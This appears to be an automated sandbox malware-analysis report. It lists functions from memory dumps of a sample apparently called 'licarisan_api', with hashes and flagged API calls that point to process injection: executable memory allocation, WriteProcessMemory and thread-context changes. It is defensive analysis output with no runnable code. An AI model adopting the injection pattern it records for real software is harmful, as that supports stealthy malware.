Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 98d220a4b5e1035ce006cf79f8ea403279570493bd21e1ed02f51f1394f4d810
Instruction ID: 1940eba6b73940bce2698a16db336ba32097f5e8bfb2c772a6217e7b9e5a6e1b
Opcode Fuzzy Hash: 98d220a4b5e1035ce006cf79f8ea403279570493bd21e1ed02f51f1394f4d810
Instruction Fuzzy Hash: 9151E0B2E11A189FF714CA14DC94BEA7775EBD5310F1482FAD90E96680E63C9EC08F52

Function 0042FF22 Relevance: 1.6, APIs: 1, Instructions: 140nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000000,?), ref: 0043025C

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: 457de24abc2bd8b7b3db86834dedcf4f06d0eb2dedc7f88d5f268d39de80beaa
Instruction ID: d32315c2f187db8c00685ea05710848eef26f72ab350f25835a7500a030024d7
Opcode Fuzzy Hash: 457de24abc2bd8b7b3db86834dedcf4f06d0eb2dedc7f88d5f268d39de80beaa
Instruction Fuzzy Hash: 95614774E046288FCB24CF14DD90BAAB7B5BB88304F5492EAD84967742D7359EC5CF05

Function 0042EBBD Relevance: 1.6, APIs: 1, Instructions: 137nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000001,?), ref: 0042EC9A

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: 53494c96e5c41a9ed8580b7c4256b96fbb85e3242e627180d02b1d793d09e8b5
Instruction ID: 4b383a7f64ab4de5b14ff84ca0b4aee6b1d0042ad3809ebab42d8f257d9bbb81
Opcode Fuzzy Hash: 53494c96e5c41a9ed8580b7c4256b96fbb85e3242e627180d02b1d793d09e8b5
Instruction Fuzzy Hash: D45102B1E021348BFB208B46ED50BFEB775EB90315F5480FAD809A6681E33C5EC18E56

Function 0042EC16 Relevance: 1.6, APIs: 1, Instructions: 131nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000001,?), ref: 0042EC9A

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: ed53983577d839336978f1c4c7c9ffa7f5f9c4774ac7ffa7696d59e9c267a36b
Instruction ID: d236c70cddcf24224fc922163b3e4d87239442ee075ec223541648e8caf7581d
Opcode Fuzzy Hash: ed53983577d839336978f1c4c7c9ffa7f5f9c4774ac7ffa7696d59e9c267a36b
Instruction Fuzzy Hash: 6C51C2B1E015348BFB208B56ED50BFAB775EB90315F5481FAD809A6680E37D5EC28E06

Function 0042E128 Relevance: 1.6, APIs: 1, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000001,?), ref: 0042EC9A

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: 59b96a7e03e3e154233bd28a83264b2fcd50b070ed18dbb281069cc5cca4998d
Instruction ID: 9d22583756bd24dedb6dba5f55f4be0aa5ed676206682e24c0b653548d0947b7
Opcode Fuzzy Hash: 59b96a7e03e3e154233bd28a83264b2fcd50b070ed18dbb281069cc5cca4998d
Instruction Fuzzy Hash: F24124B2E015349BFB108B56ED50BFAB775EB90305F5480F6D80996681E33C5EC28E16

Function 0042FAD8 Relevance: 1.6, APIs: 1, Instructions: 102nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000000,?), ref: 0043025C

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: 98109882c5c7f1c1375aa6ef229a7b3645570b6e1452f044a586097a4846f725
Instruction ID: 3d04a27d395e48e51a6c9c73a46cda455ee9ba22b9cf41dab17f151a34bfbf16
Opcode Fuzzy Hash: 98109882c5c7f1c1375aa6ef229a7b3645570b6e1452f044a586097a4846f725
Instruction Fuzzy Hash: 5531E4F2D041546EF7104A10ED59BFB7B78EFC0710F9881FAE80995A40E73CAAC58A23

Function 00420086 Relevance: 1.6, APIs: 1, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?), ref: 004201B8

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 0cd2dee5ffb09907395a8b6e0818bfec24ea02c41f48140d78a19e9205e884f3
Instruction ID: 77bfc9207910e74e27480ba8babaf3dbab6122e275df6dfddbe8dcd9bfb9c06c
Opcode Fuzzy Hash: 0cd2dee5ffb09907395a8b6e0818bfec24ea02c41f48140d78a19e9205e884f3
Instruction Fuzzy Hash: A741AFB1E052689FEB24CA14DC94AEAB7B9EF84301F1481EAD40D67241D63D6FC2CF55

Function 0043016F Relevance: 1.5, APIs: 1, Instructions: 48nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000000,?), ref: 0043025C

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: bb58763c6801842cd884df31a5fddf9b9c32978f1ef520ba747addf34dc300a5
Instruction ID: 4075c7030f5a98178fc78b35fdea173907f065eef25f62e80d73637c3e9b955d
Opcode Fuzzy Hash: bb58763c6801842cd884df31a5fddf9b9c32978f1ef520ba747addf34dc300a5
Instruction Fuzzy Hash: 0F112B71D042948FEB208A10DCA4BAF7BB8AF89304F1411EAD40D56242D3398FC2CF56

Function 0042F6B2 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: 61bb3190126198079ceea71dc4512d4902bf5cdaa3fc606d593d4dd975b19e6b
Instruction ID: e087a1090b37ba22b4c0fd1ae312a5ddf0caf599e1dd05cb8563adf610420983
Opcode Fuzzy Hash: 61bb3190126198079ceea71dc4512d4902bf5cdaa3fc606d593d4dd975b19e6b
Instruction Fuzzy Hash: AAF02DB3D041606AF3301511AC55FDF36749FD5724F8941FBD90811141E53D8A9A86E7

Function 004301D6 Relevance: 1.5, APIs: 1, Instructions: 40nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000000,?), ref: 0043025C

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: ef5ac068e6e92f2813fda9ced1d7621b155711c41080f4ab687b4912409fd79f
Instruction ID: 0291b4720daeebef37745f5f1a3360ff1ff2a91a3fabe03789dbd40f267432d8
Opcode Fuzzy Hash: ef5ac068e6e92f2813fda9ced1d7621b155711c41080f4ab687b4912409fd79f
Instruction Fuzzy Hash: 180192709042688BEB348B50DC657AF7BB5AF89314F1052EED45E66281D7394EC1CF06

Function 007F1F5F Relevance: 23.0, APIs: 1, Strings: 12, Instructions: 289
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 007F22F9

Strings

i, xrefs: 007F373F
e, xrefs: 007F3769
o, xrefs: 007F375B
OP=6, xrefs: 007F382A
s, xrefs: 007F3777
E, xrefs: 007F3731
s, xrefs: 007F3770
t, xrefs: 007F3746
r, xrefs: 007F3754
c, xrefs: 007F3762
x, xrefs: 007F3738
P, xrefs: 007F374D

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ContextThreadWow64
String ID: E$OP=6$P$c$e$i$o$r$s$s$t$x
API String ID: 983334009-1470631180
Opcode ID: afdd83b162e3952562d753411be16f942b1e521efde50fe3138e8c9840486d8f
Instruction ID: 30b64705fa23584c3c85d65378045caddab87302b89654d0e0e502fe28d144eb
Opcode Fuzzy Hash: afdd83b162e3952562d753411be16f942b1e521efde50fe3138e8c9840486d8f
Instruction Fuzzy Hash: 04D1AA71D085A88FDB24CB14CC94BAABBB6AB84314F1481EAD50D67346DB389FC2CF51

Function 007F19C3 Relevance: 23.0, APIs: 1, Strings: 12, Instructions: 237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

i, xrefs: 007F373F
e, xrefs: 007F3769
o, xrefs: 007F375B
OP=6, xrefs: 007F382A
s, xrefs: 007F3777
E, xrefs: 007F3731
s, xrefs: 007F3770
t, xrefs: 007F3746
r, xrefs: 007F3754
c, xrefs: 007F3762
x, xrefs: 007F3738
P, xrefs: 007F374D

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID:
String ID: E$OP=6$P$c$e$i$o$r$s$s$t$x
API String ID: 0-1470631180
Opcode ID: b463970f0d89497039e7cfcfe4d07a5b5630f972d390365c723b86f7a9d61eb6
Instruction ID: 3734144da80842d56e9f490ac40656e2717cd4e40f3c60cfeecb93772f7b0d27
Opcode Fuzzy Hash: b463970f0d89497039e7cfcfe4d07a5b5630f972d390365c723b86f7a9d61eb6
Instruction Fuzzy Hash: 539135B1D081989AE721CA24DC98BFA7BBAEBC1300F1480FAD54D62281D67D5FC58F52

Function 00436052 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 183COMMON

Download Yara Rule

Strings

E, xrefs: 004367AB
r, xrefs: 004367CE
x, xrefs: 004367B2
s, xrefs: 004367F1
e, xrefs: 004367E3
o, xrefs: 004367D5
i, xrefs: 004367B9
P, xrefs: 004367C7
s, xrefs: 004367EA
t, xrefs: 004367C0
c, xrefs: 004367DC
638<, xrefs: 0043681F

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID:
String ID: 638<$E$P$c$e$i$o$r$s$s$t$x
API String ID: 0-387579111
Opcode ID: c947a5f6c6faef15b0f8d9270cf409503bd818610059257ae062bec5b4e5a598
Instruction ID: a7d04d56f37adb75bb28cf199130b3e55a7e0637d5ee998a12293a881adbe0e4
Opcode Fuzzy Hash: c947a5f6c6faef15b0f8d9270cf409503bd818610059257ae062bec5b4e5a598
Instruction Fuzzy Hash: 9E714871D085A59BFB20CA14CC48BEB7BB5AF85305F08C0FAC44D56642CA7C5EC98F92

Function 007F1B75 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

i, xrefs: 007F373F
e, xrefs: 007F3769
o, xrefs: 007F375B
OP=6, xrefs: 007F382A
s, xrefs: 007F3777
E, xrefs: 007F3731
s, xrefs: 007F3770
t, xrefs: 007F3746
r, xrefs: 007F3754
c, xrefs: 007F3762
x, xrefs: 007F3738
P, xrefs: 007F374D

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ContextThreadWow64
String ID: E$OP=6$P$c$e$i$o$r$s$s$t$x
API String ID: 983334009-1470631180
Opcode ID: 2fa419f07c77daf7b8228eda2a7785d092c42e85ca4c169e05ed10ecbfc0d40b
Instruction ID: 07a0c009ee393c90484ec07a362f9c7772d2daa91b5cb53d01012b800c3d30ac
Opcode Fuzzy Hash: 2fa419f07c77daf7b8228eda2a7785d092c42e85ca4c169e05ed10ecbfc0d40b
Instruction Fuzzy Hash: 8A610CB1D086A8DEE7218B24DC48BEABB79EB85310F0440FAD54D66341C67D4BC5CF62

Function 007EF990 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 154
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,00000004,?), ref: 007EFAAF

Strings

i, xrefs: 007F373F
e, xrefs: 007F3769
o, xrefs: 007F375B
OP=6, xrefs: 007F382A
s, xrefs: 007F3777
E, xrefs: 007F3731
s, xrefs: 007F3770
t, xrefs: 007F3746
r, xrefs: 007F3754
c, xrefs: 007F3762
x, xrefs: 007F3738
P, xrefs: 007F374D

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: E$OP=6$P$c$e$i$o$r$s$s$t$x
API String ID: 3559483778-1470631180
Opcode ID: aeb2d352934d302cb29a201b852559e95f7a5102fb8154f512ce6a659375c7ef
Instruction ID: c709e9f7eb1b4b1a59a1af7688ca13a5339640ef7f4cc91ab9be0e9dc71fa50e
Opcode Fuzzy Hash: aeb2d352934d302cb29a201b852559e95f7a5102fb8154f512ce6a659375c7ef
Instruction Fuzzy Hash: AD5127B1D091E88AE721C715DC58BEA7BB5AB86310F1480FAD04E66781C6BC5FC58F62

Function 007F16B2 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

i, xrefs: 007F373F
e, xrefs: 007F3769
o, xrefs: 007F375B
OP=6, xrefs: 007F382A
s, xrefs: 007F3777
E, xrefs: 007F3731
s, xrefs: 007F3770
t, xrefs: 007F3746
r, xrefs: 007F3754
c, xrefs: 007F3762
x, xrefs: 007F3738
P, xrefs: 007F374D

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ContextThreadWow64
String ID: E$OP=6$P$c$e$i$o$r$s$s$t$x
API String ID: 983334009-1470631180
Opcode ID: ed5e4b98d152ac195e70f9d8a0f729cc312236136c7a3cd42276b67d2bb83c10
Instruction ID: 9af72b8f6b88c1bf7c23c0fa23f56631b8ce560b968293fe3f7a7770f020995d
Opcode Fuzzy Hash: ed5e4b98d152ac195e70f9d8a0f729cc312236136c7a3cd42276b67d2bb83c10
Instruction Fuzzy Hash: D45129B2D081E89AE7218629DC48BEB7F799B81310F1440F9D58D67341C6BD4FCACB62

Function 00435E45 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 132COMMON

Download Yara Rule

Strings

E, xrefs: 004367AB
r, xrefs: 004367CE
x, xrefs: 004367B2
s, xrefs: 004367F1
e, xrefs: 004367E3
o, xrefs: 004367D5
i, xrefs: 004367B9
P, xrefs: 004367C7
s, xrefs: 004367EA
t, xrefs: 004367C0
c, xrefs: 004367DC
638<, xrefs: 0043681F

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID: 638<$E$P$c$e$i$o$r$s$s$t$x
API String ID: 544645111-387579111
Opcode ID: eb600545453fe36506a7444a9516f61b9dee91236dc7066d2096ca509fae7269
Instruction ID: 706dcf55066b4740364da7c51d2542e25eabd76fbacc23c04447aa80f2cfae19
Opcode Fuzzy Hash: eb600545453fe36506a7444a9516f61b9dee91236dc7066d2096ca509fae7269
Instruction Fuzzy Hash: 4251B3B1C086A49EFB208A14DC44BDB7BB9EB95314F04C0FAD54C56641CA7D9FC98FA2

Function 007F225C Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 124
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 007F22F9

Strings

i, xrefs: 007F373F
e, xrefs: 007F3769
o, xrefs: 007F375B
OP=6, xrefs: 007F382A
s, xrefs: 007F3777
E, xrefs: 007F3731
s, xrefs: 007F3770
t, xrefs: 007F3746
r, xrefs: 007F3754
c, xrefs: 007F3762
x, xrefs: 007F3738
P, xrefs: 007F374D

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ContextThreadWow64
String ID: E$OP=6$P$c$e$i$o$r$s$s$t$x
API String ID: 983334009-1470631180
Opcode ID: 0329f8587d6e2dff89767006ec3897e131fc56f8e14a279d1aa91a691c2d076e
Instruction ID: f933cdd4093289db74cbe3b85e784f61e38394a5bbd73ad9c50b9d5e58f13dc6
Opcode Fuzzy Hash: 0329f8587d6e2dff89767006ec3897e131fc56f8e14a279d1aa91a691c2d076e
Instruction Fuzzy Hash: 4A51B671D085A88AE7218614DC48BEABBB6AB85310F1480F9D54D66341C7BD5BC68F62

Function 00436142 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 004361CE

Strings

E, xrefs: 004367AB
r, xrefs: 004367CE
x, xrefs: 004367B2
s, xrefs: 004367F1
e, xrefs: 004367E3
o, xrefs: 004367D5
i, xrefs: 004367B9
P, xrefs: 004367C7
s, xrefs: 004367EA
t, xrefs: 004367C0
c, xrefs: 004367DC
638<, xrefs: 0043681F

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID: 638<$E$P$c$e$i$o$r$s$s$t$x
API String ID: 544645111-387579111
Opcode ID: 4e237dc89208f8eaa97a1204fc66f3665fb871a989283381a120952dfd1368d2
Instruction ID: dee7749602e52ec1bda2d3af3831d77f98eb98408824dccde88255bca1aa750d
Opcode Fuzzy Hash: 4e237dc89208f8eaa97a1204fc66f3665fb871a989283381a120952dfd1368d2
Instruction Fuzzy Hash: B641F7B1C086A59AFB20CA15CC44BEB7BF5AB85314F04C0FAD48C56241CA7C5EC98F96

Function 0043565B Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 110memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 004361CE

Strings

E, xrefs: 004367AB
r, xrefs: 004367CE
x, xrefs: 004367B2
s, xrefs: 004367F1
e, xrefs: 004367E3
o, xrefs: 004367D5
i, xrefs: 004367B9
P, xrefs: 004367C7
s, xrefs: 004367EA
t, xrefs: 004367C0
c, xrefs: 004367DC
638<, xrefs: 0043681F

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID: 638<$E$P$c$e$i$o$r$s$s$t$x
API String ID: 544645111-387579111
Opcode ID: e7a23173d0ec743700dd91cc2bc45caf3d4f11828fced7b5d37f812f4945f1a8
Instruction ID: 21507ac6968a8fa0d9c6df9afb75aee7d2314607abf1e2ce916fccb047d1017e
Opcode Fuzzy Hash: e7a23173d0ec743700dd91cc2bc45caf3d4f11828fced7b5d37f812f4945f1a8
Instruction Fuzzy Hash: 4A4117A1C082A49AF7608615DC44BEB7FB9EB45314F04C0FAD48C56681DABD5FC98FE2

Function 007D1788 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 106
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 007F22F9

Strings

i, xrefs: 007F373F
e, xrefs: 007F3769
o, xrefs: 007F375B
OP=6, xrefs: 007F382A
s, xrefs: 007F3777
E, xrefs: 007F3731
s, xrefs: 007F3770
t, xrefs: 007F3746
r, xrefs: 007F3754
c, xrefs: 007F3762
x, xrefs: 007F3738
P, xrefs: 007F374D

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ContextThreadWow64
String ID: E$OP=6$P$c$e$i$o$r$s$s$t$x
API String ID: 983334009-1470631180
Opcode ID: 48bb7151ea35984d100120f047ce79df5e4e7d838e842fb2c3ad98765cf39c9a
Instruction ID: 5930414c22dbcfce0d56dbfa7522605c45fc72ed060f25bfdf388d58180d9807
Opcode Fuzzy Hash: 48bb7151ea35984d100120f047ce79df5e4e7d838e842fb2c3ad98765cf39c9a
Instruction Fuzzy Hash: A341E9B1D081D89AE7218628DC48BEF7F7AAB81710F1440F9D54D66341C6BD4FDA8F62

Function 007EF36F Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 105
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,00000004,?), ref: 007EFAAF

Strings

i, xrefs: 007F373F
e, xrefs: 007F3769
o, xrefs: 007F375B
OP=6, xrefs: 007F382A
s, xrefs: 007F3777
E, xrefs: 007F3731
s, xrefs: 007F3770
t, xrefs: 007F3746
r, xrefs: 007F3754
c, xrefs: 007F3762
x, xrefs: 007F3738
P, xrefs: 007F374D

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: E$OP=6$P$c$e$i$o$r$s$s$t$x
API String ID: 3559483778-1470631180
Opcode ID: 4a8852089da40e10f4bfa471410b8ceb3067e0d0834c854dac3357bdd94c8e1a
Instruction ID: 31e98b2b1b55bdb614183efcedd898e3b471c350e5d680642cf3801dea87b9ce
Opcode Fuzzy Hash: 4a8852089da40e10f4bfa471410b8ceb3067e0d0834c854dac3357bdd94c8e1a
Instruction Fuzzy Hash: FA4118B1D081E89AE7218629DC48BEB7BB99B85310F1480F9D14D66741C6BD8BC5CF62

Function 007F1BC4 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 105
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 007F22F9

Strings

i, xrefs: 007F373F
e, xrefs: 007F3769
o, xrefs: 007F375B
OP=6, xrefs: 007F382A
s, xrefs: 007F3777
E, xrefs: 007F3731
s, xrefs: 007F3770
t, xrefs: 007F3746
r, xrefs: 007F3754
c, xrefs: 007F3762
x, xrefs: 007F3738
P, xrefs: 007F374D

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ContextThreadWow64
String ID: E$OP=6$P$c$e$i$o$r$s$s$t$x
API String ID: 983334009-1470631180
Opcode ID: 33260525472a1380cc0af65e326b9cc806291cab59e4e294d333b41034a3d6fc
Instruction ID: de1e48aba4591682714f9645aab192730c46c56c0173584b362a3c3a2a87b3ba
Opcode Fuzzy Hash: 33260525472a1380cc0af65e326b9cc806291cab59e4e294d333b41034a3d6fc
Instruction Fuzzy Hash: E641E9B1D081D89AE7218624DC48BEA7F7AABD1310F1440F9D54D66341C6BD4BDACF62

Function 007AA96F Relevance: 22.7, APIs: 1, Strings: 14, Instructions: 227memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,00000000,007AAE41,?,?,?,?,?), ref: 007AB525

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
i, xrefs: 007AB9F7
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
j@h, xrefs: 007AB515
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
85AJ, xrefs: 007AA9DA
o, xrefs: 007AB9DB
r, xrefs: 007ABA13
d, xrefs: 007AB9E9

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: 85AJ$L$L$W$a$a$b$d$i$j@h$o$r$r$y
API String ID: 4275171209-778880938
Opcode ID: 23f6ac11d3358f9453fade8d292043e6be5301b448d38bc5e031027f77ebe6f2
Instruction ID: e531459bb6c2181dabea82323fe613672b56a4796bddae6703a852d0223b8de5
Opcode Fuzzy Hash: 23f6ac11d3358f9453fade8d292043e6be5301b448d38bc5e031027f77ebe6f2
Instruction Fuzzy Hash: 4391B4A1D042A89FE721CA24DC05BAABB79EF96300F0441FAD44DA7681D7BD5FC18F52

Function 007AB4A4 Relevance: 22.7, APIs: 1, Strings: 14, Instructions: 194memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,00000000,007AAE41,?,?,?,?,?), ref: 007AB525

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
i, xrefs: 007AB9F7
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
j@h, xrefs: 007AB515
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
o, xrefs: 007AB9DB
r, xrefs: 007ABA13
d, xrefs: 007AB9E9
M2DM, xrefs: 007AB4A4

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$M2DM$W$a$a$b$d$i$j@h$o$r$r$y
API String ID: 4275171209-3382654
Opcode ID: de4ed013adcdd0794cec4b04884ca9f940f325b3f300a8004b7ba5e87a8e3f39
Instruction ID: 03462151c1f0bd0444d23a5fea947dbce75a1d5b6e9bf56f61ee544fad5d6715
Opcode Fuzzy Hash: de4ed013adcdd0794cec4b04884ca9f940f325b3f300a8004b7ba5e87a8e3f39
Instruction Fuzzy Hash: EC7192A1D042A88BE721CB24DC057AABB75EF96300F0481FAD44DAB681D7BD5BD18F52

Function 007AAE92 Relevance: 21.3, APIs: 1, Strings: 13, Instructions: 260COMMON

Download Yara Rule

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
i, xrefs: 007AB9F7
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
j@h, xrefs: 007AB515
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
o, xrefs: 007AB9DB
r, xrefs: 007ABA13
d, xrefs: 007AB9E9

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

